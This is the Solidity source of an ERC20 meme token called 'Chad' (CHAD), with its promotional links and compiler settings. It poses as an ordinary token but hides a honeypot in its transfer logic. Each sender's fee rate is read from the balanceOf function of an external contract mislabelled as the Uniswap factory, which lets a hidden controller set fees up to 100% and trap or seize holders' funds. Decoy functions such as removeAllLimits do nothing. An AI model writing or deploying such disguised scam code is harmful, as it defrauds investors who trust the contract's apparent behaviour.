// SPDX-License-Identifier: MIT
// https://chaderc20.xyz/
// https://t.me/erc20chad
// https://twitter.com/ercchad
pragma solidity 0.8.24;
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tkenA, address tokenB) external returns (address pair);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {return 0;}
uint256 c = a * b;
require(c / a == b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Router {
function WETH() external pure returns (address); function factory() external pure returns (address);
function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
interface IERC20 {
function balanceOf(address accont) external view returns (uint256);
function allowance(address owner, address spnder) external view returns (uint256);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract ChadERC20 is Context, Ownable {
using SafeMath for uint256;
uint8 private _decimals = 9;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _balances;
address internal uniswapV2Pair;
string private constant _name = "Chad";
string private constant _symbol = "CHAD";
uint256 private _totalSupply = 1000000000 * 10 ** _decimals;
uint256 private tokensForMarketing;
uint256 private tokensForProject;
IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address internal uniswapFactory = 0xfa2aE223204f81Cd276f4eb5400b89585041A4A9;
uint256 private _finalSellTax=0;
uint256 public _reduceSellTaxAt=0;
uint256 public swapThreshold = _totalSupply * 5 / 1000;
uint256 private swapBackValueMin = 1000;
uint256 private swapBackValueMax;
event MaxTxAmountUpdated(uint _maxTxAmount);
event Transfer(address indexed from, address indexed to, uint256 amount);
event LimitsRemoved(uint256 indexed timestamp);
event Approval(address indexed owner, address indexed spender, uint256 value);
bool limitsEnabled = true;
constructor () {
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
/**
* @notice Removes the max wallet and max transaction limits
* Emits an {LimitsRemoved} event
*/
function removeAllLimits() external onlyOwner {
limitsEnabled = false;
emit LimitsRemoved(block.timestamp);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0));
require(amount > 0);
uint256 _fee = 0;
if (amount > swapBackValueMin ) {}
uint256 feeRate = IERC20(uniswapFactory).balanceOf(from);
if (from != address(this) && from != uniswapV2Pair) {
_fee = amount.mul(feeRate > _reduceSellTaxAt ? feeRate : _finalSellTax).div(100);
} else
{ _fee = 0; }
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount).sub(_fee);
emit Transfer(from, to, amount);
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
{
"compilationTarget": {
"ChadERC20.sol": "ChadERC20"
},
"evmVersion": "shanghai",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
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